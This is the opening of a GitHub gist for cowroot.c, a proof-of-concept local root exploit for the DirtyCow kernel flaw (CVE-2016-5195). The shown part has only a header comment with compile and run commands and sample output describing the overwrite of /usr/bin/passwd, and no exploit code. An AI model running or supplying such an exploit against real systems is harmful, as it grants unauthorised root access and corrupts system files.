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brztitouan / cowroot.c
Created December 21, 2017 09:19 — forked from rverton/cowroot.c
CVE-2016-5195 (DirtyCow) Local Root PoC
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten